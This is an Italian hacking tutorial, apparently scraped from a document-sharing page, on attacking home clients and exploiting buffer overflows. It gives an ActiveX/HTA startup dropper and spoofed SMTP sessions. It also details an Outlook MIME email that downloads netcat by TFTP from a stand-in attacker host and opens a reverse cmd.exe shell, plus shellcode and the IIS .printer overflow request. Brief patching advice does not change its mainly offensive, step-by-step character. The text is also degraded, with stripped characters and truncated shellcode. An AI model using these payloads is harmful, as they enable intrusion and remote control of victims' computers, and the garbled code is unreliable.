Sei sulla pagina 1di 12

Lhacking verso i client di rete

Quasi sempre quando si parla di hacking si pensa ad attivit abusive svolte da utenti remoti nei confronti di servers connessi ad una rete ad accesso pubblico come ad esempio internet. Questo di fatto non del tutto corretto in quanto esistono diverse metodologie che permettono di creare problemi anche in senso inverso. Molti sono convinti che gli hacker possiedano la bacchetta magica che gli permette di entrare abusivamente nei sistemi remoti in pochi istanti. Nulla di pi sbagliato in quanto hackerare un sistema significa in genere impiegarci molto tempo suddiviso tra quelle che sono le fasi classiche di questa attivit e precisamente : 1 Lindividuazione, lanalisi e la raccolta dinformazioni (IP attivi, host in funzione, servers, struttura domini, utenti dei sistemi, ecc.) 2 Lindividuazione del metodo dattacco( ricerca nei database dei bugs dei softwares, individuazione dei programmi, ecc.) 3 Messa in atto della sequenza di operazioni per accedere al sistema. 4 Consolidamento del proprio accesso ed eliminazione delle tracce. I normali navigatori a causa delle loro caratteristiche temporanee come ad esempio IP assegnati dinamicamente dal provider come Tiscali o Tin, sono vittime pi difficilmente individuabili dato che generalmente offrono meno tempo per eseguire gli attacchi di quanto in effetti lo offra un sistema fisso sulla rete, anche se poi di fatto queste caratteristiche non permettono di evitare completamente i pericoli ma solo al limite di ridurli. Da un altro punto di vista gli utenti saltuari possiedono pericoli maggiori di quelli fissi proprio per il fatto che in genere le soluzioni adottate sono meno professionali di quelle degli utenti di servers professionali internet. Per fare qualche esempio di quello che dico possiamo riportare i firewalls i quali non dispongono delle caratteristiche che possiedono alcuni di tipo hardware come i Cisco o i Sonicwall. Senza contare che anche la cura dei sistemi professionali in genere ha come caratteristica una maggiore professionalit di quanto la possiedano in genere i sistemi casalinghi e quindi anche una maggiore attenzione agli annunci dei vari problemi riscontrati sui sistemi operativi e sui software usati per la gestione dei servers. Un altro esempio legato ad alcuni pacchetti come ad esempio ICQ o MIRC i quali forniscono protocolli nuovi che rappresentano canali veicolanti per certi tipi di exploits. Inoltre luso di certi software client per la gestione delle mail rendono maggiore il rischio di ricezione di messaggi con troiani, programmi virus e cosi via. Gli utenti di internet si stanno comunque evolvendo diventando sempre pi sensibili ai problemi delle sicurezza dei loro sistemi, proteggendoli mediante ladozione di piccoli software di firewalls e antivirus. Le classi di problemi che possono coinvolgere i sistemi client sono essenzialmente : 1. Pagine WEB pericolose 2. Email con contenuti dannosi 3. Newsgroup e servizi di chat Il primo tipo di problema potrebbe dipendere da moltissime cose come ad esempio dallinclusione di codice scritto in un qualsiasi linguaggio di script, Java Script in genere, allinterno di pagine WEB. Generalmente i softwares come i browser e i sistemi operativi viaggiano forniti dei metodi adatti alla protezione da certi tipi di attacchi solo che questi sistemi diventano sempre pi complessi, oltre a diventare come numero di opzioni sempre maggiore, per cui il rischio che le persone ignorino i settaggi lasciando le opzioni di default. Ad esempio alcuni tipi di virus usano la metodologia di propagazione legata alle pagine WEB. Allinterno di una pagina HTML possibile trovare le inclusioni di qualche file .js (Java Scipt) contenente codice pernicioso. Per questo motivo sufficiente giungere navigando su una di queste pagine per installare sul proprio sistema il lettore che scatena il processo di caricamento dei virus.

Probabilmente molti linguaggi di script usati nelle pagine WEB non possiedono la possibilit di creare direttamente problemi come ad esempio quelli legati alla scrittura diretta su dischi o cose di questo tipo, ma comunque sono in grado di attivare metodi di trasferimento, come ad esempio TFTP, o altri metodi che sfruttano lemail per linstallazione sui sistemi di programmi pericolosi. Oltre ai linguaggi un pericolo costituito dalluso dentro a pagine WEB di files ACTIVEX i quali vengono inseriti allinterno della pagine HTML mediante le specifiche offerte dal tag <OBJECT> il quale permette di specificare da dove il controllo deve essere letto. Gli oggetti ActiveX generalmente utilizzano il sistema Authenticode di Microsoft per la verifica e la garanzia d4ellautenticit del codice che viene installato sulla macchina client. Purtroppo a causa di un bugs di Internet Explorer possibile in molti casi superare questo sistema di protezione. Inserendo allinterno dei proprio oggetti un flag chiamato safe for scripting lo sviluppatore poteva richiedere di evitare questo meccanismo. Ad esempio il seguente codice inserito dentro ad una pagina html potrebbe scrivere su di un sistema remoto un file di testo eseguibile con estensione .HTA (HTML Application) il quale verrebbe eseguito ad ogni reboot successivo.
<object id=scr classid=clsid:06290BD5-48AA-11D2-8432-006008C3FBFC> </object> <script> scr.Reset(); scr.Path=C:\\windows\\Start Menu\\Programs\\StartUp\\test.hta; scr.Doc=<object id=wsh classid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B> </object> <script>alert(Ciao. Sei stato attaccato.); wsh.Run(c:\\command.com); </+SCRIPT>; scrwrite(); </script> </object>

I problemi maggiori comunque dipendono quasi sempre da metodi che sfruttano le email. Molti mail servers eseguono la spedizione di messaggi senza eseguire particolari controlli sul mittente che ha inviato il tutto. Mediante una connessione eseguita con un mail server tramite TELNET sulla porta 25, equivalente alla porta SMTP, possibile inviare delle email anonime contenenti metodi particolari atti ad attaccare i client internet. Un esempio di mail inviata digitando manualmente i dati potrebbe essere quella che segue. Una volta eseguita la connessione con C:\>telnet ip_smtp_server 25 possibile digitare : helo microsoft.com mail from: <dapartemia@dovesono.it> rcpt to: <vittima@suodominio.com> data subject: Leggi questo! Importance: high MIME-Version: 1.0 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit <html> <h2>Ciao</h2> </html> . quit

Mediante un piccolo trucco possibile inviare un file collegato al messaggio inserendo una altra specifica MIME allinterno del testo. Il miglior metodo per eseguire questa funzione quella di usare un utility chiamata mpack la quale aggiunge automaticamente lheader MIME appropriato. Nellesempio seguente un file chiamato prova.txt viene codificato ed inserito in un file denominato file.mim C:\> mpack -s Nasty-gram o file.mim prova.txt

La parte MIME cosi creata viene inserita allinterno di un messaggio in formato HTML. I delimitatori MIME sono preceduti da doppi trattini. Fate attenzione a dove questi delimitatori vengono inseriti in quanto questo fa si che le porzioni MIME vengano interpretate in modo diverso a seconda della loro posizione. helo microsoft.com mail from: <dachivuoi@miodominio.it> rcpt to: <nomevittima@dominio.it> data subject: Leggimi ! importance: high MIME-Version: 1.0 Content-type: multipart/mixed; Boundary=_boundary1_ --_boundary1_ Content-type: multipart/aletrnative; Boundary= _boundary2_ --_boundary2_ Content_type: text/html; charset=us_ascii <html> <h2>Ciao></h2> </html> --_boundary2_---_boundary1_ Content-type: application/octet-stream; name=prova.txt Content-ID: <5551212> Content-Transfer-Encoding: base64 Content-Disposition: inline; filename=prova.txt Content-MD5: Psn-moJEv0fPwoEc4OXYTA== SSBjb3VsZGEgaGFja2VkIHlhIGJhZCANCg== --_bounday1__-. quit I metodi visti mediante I quali possibile specificare delle parti MIME di un messaggio permettono di eseguire codice su di un sistema remoto tramite email. Infatti il precedente metodo potrebbe essere utilizzato per eseguire un attacco ad un sistema client. Il metodo quello che segue. Supponiamo di voler attaccare un sistema remoto che disponga di Windows 2000 e sul quale la posta viene letta dalla vittima tramite OUTLOOK. Partiamo anche dal presupposto che il firewall usato dalla vittima permetta di usare protocolli come FTP e TFTP. Il nostro obbiettivo quello di uplodare su questo sistema tramite TFTP il sistema NETCAT il quale verr successivamente utilizzato per aprire una shell. Il comando da dare dovrebbe essere : start /B tftp i attaccante.it get nc.exe c:\winnt\system32\nc.exe^ && start /B nc d e cmd.exe attaccante.it 80

Questo comando viene eseguito senza essere visto sotto Windows 2000in modo completamente trasparente. Lattaccante prepara il metodo per aprire questa shell creando un messaggio che deve disporre di determinate caratteristiche per lesecuzione di sezioni MIME. Chiamiamo questo file cmd.txt e scriviamoci dentro quello che segue : Helo microsoft.com Mail from:<chisonoio@miodominio.com> Rcpt to: <vittima@dominio.it> Data Subject: Leggimi ! Date: Thu, 2Dec 2002 13:27:33 +0100 MIME-Version: 1.0 Content-Type: multipart/related; type=multipart/alternative; boundary=1 X-Priority: 3 X-MSMail-Priority: High X-Unsent: 1 --1 Content-type: multipart/alternative; Boundary= 2

--2 Content-type: ext/html; Charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable <html> <head> </head> <BODY bgColor=3D#ffffff> <iframe src=3Dcid:THE-CID height=3D0 width=3D0></iframe> Questo messaggio usa un set di caratteri che non supportato dai servizi internet.<br> </BODY> </HTML> --2 --1 Content-Tytpe: audio/x-wav; name=rc.bat Content-Transfer-Encoding: quoted-printable Content-ID: <THE-CID> start /B tftp i attaccante.it get nc.exe c:\winnt\system32\nc.exe^ && start /B nc d e cmd.exe attaccante.it 80 --1 . quit

Come avrete visto lattaccante ha sostituito il comando per aprire la shell al posto della stampa della scritta Ciao che faceva,mo stampare nellesempio allinizio di questo testo. Luso della porta http, quella 80, ha come scopo quello di passare inosservato sotto gli occhi di un firewall i quali generalmente permettono il dialogo con questo protocollo. Quando il messaggio verr ricevuto e letto tramite OUTLOOK il trasferimento tramite TFTP verr iniziato. Lesecuzione dellattacco a questo punto deve prevedere un certo numero di azioni da parte dellattaccante e precisamente : 1 Lanciare TFTP sul suo sistema in una directory dove questo tiene netcat (nc.exe) 2 Aprire una controparte NETCAT con c:\> nc vv l p 2002 3 Convogliare il messaggio al destinatario tramite un mail server che non esegua il controllo del mittente con : c:\>type cmd.txt | nc-vv mail.servr.it 25 In pratica il testo che abbiamo scritto dentro al file cmd.txt viene inviato al mailserver tramite una pipe eseguita con netcat attivato su un certo server mail. Come abbiamo detto prima, appena la vittima legge il messaggio il trasferimento TFTP viene eseguito e quindi viene aperta una shell che possiede i privilegi relativi a chi ha di fatto letto lemail. Per evitare questo tipo di problemi cercate di aggiornare sempre il vostro sistema operativo con lultimo SERVICE PACK e di installare le varie hotfix che le case come Microsoft fanno uscire regolarmente. Il contenuto del file cmd.txt che abbiamo preparato prima potrebbe essere modificato per controllare se il nostro sistema vulnerabile a questo problema. Invece di mettere il codice che attiva il trasferimento avremmo potuto metterci una semplice richiesta di mostrare la directory: echo off dir c:\ echo Il vostro sistema vulnerabile ! pause Se leggendo il messaggio vi viene mostrata la directory del vostro disco C: e viene stampata la stringa allora il sistema vulnerabile e quindi dovrete prestare attenzione alle email lette. Nellambito dellhacking dei sistemi client necessario anche tenere in considerazione alcune regole che riguardano la configurazione dei sistemi server. Alcune volte luso di software come ICQ o altri utilizzanti i vari canali IRC permettono ad alcuni utenti partecipanti di risalire agli indirizzi di altri utenti. Una volta ottenuti questi indirizzi in pratica possibile cercare di utilizzare le varie metodologie di attacco usate per i servers fissi. Uno dei problemi maggiori potrebbe essere legato alla condivisione di risorse non protette. Mediante i comuni comandi per la gestione delle risorse di rete quali nbtstat, net e altri possibile collegarsi da remoto a risorse presenti sul sistema di un utente connesso alla rete. Inoltre parlando di client possiamo supporre che possano anche trattarsi di sistemi come Win98, WinMe o comunque di sistemi che non dispongono di meccanismi molti sofisticati per le gestioni multiutente come ad esempio il sistema di logon alla console offerta da Win9x. Sistemi come Outlook inoltre possiedono diversi problemi legati a quelli definiti con il termine di buffer overflow.

Come ti dico di fare quello che non dovresti fare.


Nel volume stato trattato questo argomento ma partendo gi dal presupposto che le persone conoscessero gi alcuni concetti. Qui mi sono riproposto di riprenderlo usando un metodo per descriverne i principi che possa essere chiaro anche a chi di fatto i capitoli del volume su questa argomentazione fossero stati eccessivamente pesanti o incomprensibili. Tutti quelli che si sono interessati di problemi di sicurezza hanno potuto vedere come spesso il fatto di abusare di un sistema remoto sia di fatto dovuto alla presenza di bugs allinterno dei sistemi operativi o dentro ai softwares che gestiscono le varie funzionalit dei servers come ad esempio quelli WEB e Mail. Il controllo costante da parte degli amministratori di sistema, in funzione delle eventuali segnalazioni e quindi del rilascio delle patchs da applicare ai propri software, permette di limitare le possibilit di accessi abusivi allinterno dei sistemi informatici connessi su rete. In ogni caso esiste una delle tecniche considerate pi avanzate che permette di aggiungere del codice da eseguire ai programmi che gestiscono le funzionalit di rete o ai sistemi operativi stessi. Questa metodologia quella conosciuta con il termine di buffer overflow ovvero una tecnica orientata a inserire dentro ad un buffer pi dati di quanti questi possano contenere. In genere questa tecnica potrebbe essere orientata a due scopi particolari. Il primo quello di creare dei blocchi allinterno dei programmi di gestione dei servers mentre il secondo quello legato allinserimento di parti di codice abusivo da fare eseguire per creare delle porta daccesso allinterno dei sistemi in rete. Fortunatamente per riuscire ad applicare queste tecniche si devono possedere nozionismi legati alla teoria dei sistemi e a quella dei linguaggi di programmazione che solo pochi hackers possiedono. Da che cosa deriva questa metodologia di attacco utilizzata dagli hackers pi evoluti ? Per poterla vedere necessario prima dare un occhiata ad alcuni concetti chiave legati alla programmazione in senso generale. Come tutti sapranno i nostri sistemi informatici eseguono istruzioni operative legate a dei microprocessori specifici come ad esempio i Pentium montati sui nostri PC. Queste istruzioni eseguono manipolazioni delle informazioni chiamate in gergo con il termine di dati. Qualsiasi cosa noi facciamo con il nostro computer di fatto creato mediante manipolazioni delle informazioni, movimentazioni di dati dalla memoria alla CPU e viceversa e trasferimenti di dati tra la memoria e le periferiche di INPUT/OUTPUT, come ad esempio la scheda video o un disco fisso. In ogni caso sia le istruzioni operative che eseguono queste operazioni, quelle che il processore in grado di eseguire, sia i dati stessi sono mantenuti in memoria come BYTES i quali possono essere visti come sequenze di numeri memorizzati sequenzialmente. I valori che rappresentano le istruzioni sono di fatto costituiti da quelli definiti con il termine di OPCODE i quali sono stabiliti dai progettisti dei processori e costituiscono il bagaglio funzionale del processore stesso ovvero il suo patrimonio operativo. Quello che chiamiamo linguaggio ASSEMBLER gi di fatto una rappresentazione mnemonica, gi pi simile al nostro linguaggio naturale, di quelli che sono di fatto i numeri che costituiscono il codice binario della macchina. Quando con un disassemblatore o con un debugger andiamo a vedere il codice di un programma vedremo sia i numeri che rappresentano gli OPCODE che il formato assembler ovvero le microistruzioni visualizzate in un formato gi pi comprensibile. INDIRIZZO -------005CC002 005CC007 005CC00C 005CC00D OPCODE ----------------E8 03000000 E9 EB045D45 55 C3 ISTRUZIONI IN ASSEMBLER ---------------------CALL Wincmd32.005CC00A JMP 45B9C4F7 PUSH EBP RETN

Nellesempio di prima il numero pi a sinistra lindirizzo di memoria a cui ci si riferisce. I numeri a fianco sono i codici operativi che poi nella parte pi a destra vengono visualizzati come istruzioni assembler.

Volendo vedere la sequenza di bytes in memoria avremmo : 005CC002 [E8] 005CC003..[03] 005CC004..[00] 005CC005..[00] 005CC006..[00] 005CC006..[E9] 005CC007..[EB] .. ecc. La memoria in cui le istruzioni e i dati vengono inseriti sono organizzati i blocchi logici chiamati segmenti di memoria. Ciascuno segmento contiene una tipologia di numeri relativi al codice e ai dati. Ad esempio il codice viene inserito dentro a quelli definiti con il termine di CODE SEGMENT o segmento di codice mentre i dati dentro ai DATA SEGMENT o segmento dati. Detto in modo molto semplice il processore user i numeri dentro ai segmenti come codici da eseguire mentre quelli dentro ai segmenti di dati verranno manipolati dalle istruzioni eseguite. Ad esempio la seguente istruzione assembler muove un dato dalla memoria ad un registro interno al processore : MOV EAX,[00401234]

Esistono altri segmenti tra i quali uno che viene utilizzato per funzioni varie chiamato con il nome di STACK SEGMENT. Questo una struttura di dati che contiene importanti informazioni legate ai processi che girano in memoria. In pratica questo segmento una zona di memoria gestita come lo spunzone delle consumazioni dei bar in cui i biglietti inseriti come primi sono gli ultimi a uscire, conosciuto informaticamente con il termine di LIFO ovvero last input first output, in italiano ultimo inserito primo ad uscire. Come abbiamo detto prima i programmi sono considerati sequenze di istruzioni che il processore deve eseguire. Per semplificare lorganizzazione di questi e per poter definire dei gruppi di istruzioni indirizzate allo svolgimento di un certo compito, i linguaggi di programmazione permettono la creazione di quelle che sono definite con il termine di funzioni. In altre parole un certo numero di istruzioni specifiche di un linguaggio possono essere incapsulate dentro ad un contenitore virtuale chiamato funzione, le quali possono essere richiamate ogni volta che si desidera eseguirle, specificando solo il nome di questa. Ad esempio una funzione definita in linguaggio C indirizzata a sommare due numeri passati come argomenti e a restituire il valore della somma potrebbe essere : int { funzionesomma(int a, int b) int risultato; risultato = a + b; return risultato;

Una programma potrebbe essere visto come una raccolta di certo numero di funzioni ciascuna indirizzata a svolgere un determinato compito. Visto questo concetto per potere comprendere lo scopo dello STACK SEGMENT necessario vedere ancora due punti. Il primo relativo al posto dove le variabili usate dai programmi possono essere definite. Visto che un programma pu contenere diverse funzioni, le variabili possono essere dichiarate fuori da queste oppure al loro interno. int variabile_globale;

// Variabile fuori dalla funzione vista da tutti i // i punti del programma. int funzionesomma(int a, int b) { int variabile_locale; // Viene vista solo dentro alla funzione e lo spazio // occupato in memoria da questa viene rilasciato // alluscita della funzione.

Le variabili globali, quelle definite fuori da tutte le funzioni, vengono inserite in memoria dentro ai DATA SEGMENT mentre le variabili definite allinterno di una funzione vengono allocate in memoria dentro a quello definito come STACK SEGMENT il quale generalmente possiede una dimensione abbastanza piccola. Lultimo concetto che ci permetter di vedere laltro scopo per cui viene usato lo STACK legato al fatto che che un programma potrebbe essere visto come una sequenza di istruzioni tra le quali possono esserci anche chiamate da una funzione ad unaltra partendo da una funzione principale chiamata main().

Quando viene trovata una chiamata ad una funzione, la quale si trova in certo punto della memoria, il processore memorizza dentro allo STACK SEGMENT lindirizzo di memoria di dove stata fatta la chiamata e salta come esecuzione al punto dove la funzione stessa si trova. Facendo in questo modo quando la funzione termina il processore pu prelevare lindirizzo dallo STACK e proseguire lesecuzione dal punto dove era stata fatta la chiamata proseguendo in questo modo il suo flusso. A questo punto possiamo dire che dentro alla stack possono esserci i valori delle variabili locali alle funzioni , gli indirizzi di ritorno dalla chiamate alle funzioni ed in pi un valore chiamato puntatore allo stack frame. Dichiarare una variabile significa riservare in memoria un certo numero di bytes nei quali verranno inseriti dal programma i valori che devono esser gestiti. Supponiamo di voler leggere una stringa chiamando una funzione che esegue una lettura da tastiera mettendo i dati dentro ad una variabile locale. void leggistringa(void) { char datiricevuti[100]; gets(datiricevuti); printf(%s, datiricevuti); } char main(void)

// Il buffer dove mettere i dati // Legge i dati da tastiera // Stampa i dati letti

{ dati }

leggistringa();

// Chiama la funzione che legge i

Allinterno dello stack, quando il programma arriver ad eseguire la funzione di lettura da tastiera gets(), ci sar :

Questo significa che se non controllassimo il numero di bytes inseriti dentro al buffer potremmo andare ad invadere la zona di memoria in cui esiste il valore di ritorno. Proviamo a farlo appositamente andando ad inserire su questo valore lindirizzo di una funzione che non viene mai chiamata dal programma. #include <stdio.h> char buffer[24]; void { } void { funzione2(void) printf("\nQuesta funzione non la chiama nessuno direttamente"); exit(0); funzione1(void)

char b[10]; sprintf(buffer, "abcdefghi00%d",((unsigned int) &funzione2)&& 0xffff); printf(\nIl buffer contiene : %s lungo %d, buffer, strlen(buffer)); strcpy(b, buffer); // Ora copiamo sconfinando } void main() { funzione1(); printf(\nQui non ci ritorna);

Cosa abbiamo fatto ? Larray b dentro a funzione1() viene allocato dentro allo stack segment e occupa 10 bytes. Dopo questi bytes esiste nello stack lindirizzo dello stack frame pointer di 2 bytes e poi i due bytes dellindirizzo di ritorno dalla chiamata alla funzione funzione1(). Dentro a un buffer pi grande creiamo una stringa di un certo numero di bytes sufficienti a riempire la variabile b, due bytes atti a coprire lo stack frame pointer e alla fine di questo, per due bytes oltre mettiamo lindirizzo di una seconda funzione la quale direttamente non viene chiamata da nessuna parte. Questi due bytes aggiuntivi sconfineranno dallo spazio della variabile b e andranno a scrivere sopra allindirizzo di ritorno per cui dopo che viene eseguita la chiamata a funzione1() il programma non torner pi a quel punto ma al contrario verr richiamata funzione2(). Compilando ed eseguendo avremo : F:\>cl test.c Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 12.00.8804 for 80x86 Copyright (C) Microsoft Corp 1984-1998. All rights reserved. test.c Microsoft (R) Incremental Linker Version 6.00.8447 Copyright (C) Microsoft Corp 1992-1998. All rights reserved. /out:test.exe test.obj F:\>test Il buffer contiene : abcdefghil004096 ed e' lungo 16 Questa funzione non la chiama nessuno direttamente F:\> Fino a questo punto abbiamo visto come mediante un programma scritto appositamente siamo andati a soprascrivere lindirizzo di ritorno di una funzione di una programma. Supponiamo ora che allinterno di un programma qualsiasi che gestisce un server da qualche parte venga richiesto un input e che la quantit di dati fornita dallutente non venga controllata come lunghezza ma semplicemente copiata dentro ad un buffer in memoria che possiede una dimensione prestabilita. Se noi invece di fornire un input corretto scrivessimo un piccolo programmino che attiva una shell come potrebbe esserlo : #include <stdio.h> void main() { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); } A questo punto lo facciamo compilare dopo averlo tradotto in assembler: mov ecx,esp xor eax,eax push eax lea ebx,[esp-7] add esp,12 push eax push ebx mov edx,ecx mov al,11

int 0x80 Con questo codice prendiamo gli OPCODE, i codici operativi, e creiamo un stringa di numeri composta da: [ codici operativi del programmino della shell][indirizzo di ritorno] [.. NOP NOP NOP JMP SHELLCODE CALL /bin/sh RET RET RET RET RET RET ] dove NOP = NULL INSTRUCTION SHELL CODE = codice in esadecimale del programmino della shell RET = codice di ritorno da sostituire Chiaramente dovete pensare che se lindirizzo di ritorno che sostituiamo puntasse ad una istruzione sbagliata il sistema si bloccherebbe. Nellassembler del PENTIUM esiste listruzione NOP che fa si che il processore la salti non facendo nulla. Inserire un certo numero di NOP aumenta le probabilit di indovinare che il valore di ritorno che andiamo a sostituire cada in una zona dove non capitino danni. Se lindirizzo settato facesse saltare il programma su una di queste istruzioni il processore passerebbe avanti fino alla prossima istruzione. char lunixshell[] = "\xeb\x1d\x5e\x29\xc0\x88\x46\x07\x89\x46\x0c\x89\x76\x08\x$ "\x0b\x87\xf3\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\x29\xc0\x40\x$ "\x80\xe8\xde\xff\xff\xff/bin/sh"; La stringa di prima contiene il codice del programma che apre una shell ed in pi contiene il valore di ritorno il quale far eseguire il salto al codice stesso. A questo punto vi chiederete come gli hackers fanno a sapere dove passare queste stringhe ? I problemi sono legati alluso dentro ai software di funzioni che non controllano la lunghezza dei dati copiati come le funzioni di gestione delle stringhe del linguaggio C. Ad esempio : strcpy() gets() getws() Di molti programmi, come ad esempio Sendmail per la gestione dei mail server, sono distribuiti i sorgenti per cui il fatto di andare a cercare dove potrebbe essere possibile eseguire un overflow del buffer soltanto legato allanalisi dei sorgenti stessi. Di altri programmi di cui non si dispone dei sorgenti possibile farlo mediante debugger e disassemblatori. Ad esempio in ambiente WINDOWS uno dei pi famosi buffer overflow quello conosciuto con il nome di IPP BUFFER OVERFLOW. Se con TELNET viene aperta una connessione su un determinato HOST usando la porta 80 legata al protocollo http sufficiente inserire un buffer di 420 BYTES. C:\>telnet idirizzo_host 80 A connessione eseguita si digita : GET /NULL.printer http/1.0 Host: [buffer di 420 bytes] CR CR

Le societ che producono software, come Microsoft ad esempio, hanno capito i problemi legati a questa tecnica per cui hanno revisionato profondamente i software mentre altre case come la EEYE hanno creato plugins per i software che gestiscono i servers WEB che eseguono controlli sullo stack. Ad ogni modo i softwares usati nelle gestioni dei processi sui servers sono moltissimi a partire da quelli legati ai protocolli per arrivare ai linguaggi e ai gestori di filtri come ad esempio nel caso delle ISAPI, per cui le probabilit di trovare buffers non controllati sono ancora elevatissime tanto che societ che segnalano i problemi legati ai vari exploits possibili ne annunciano ogni giorno di nuovi.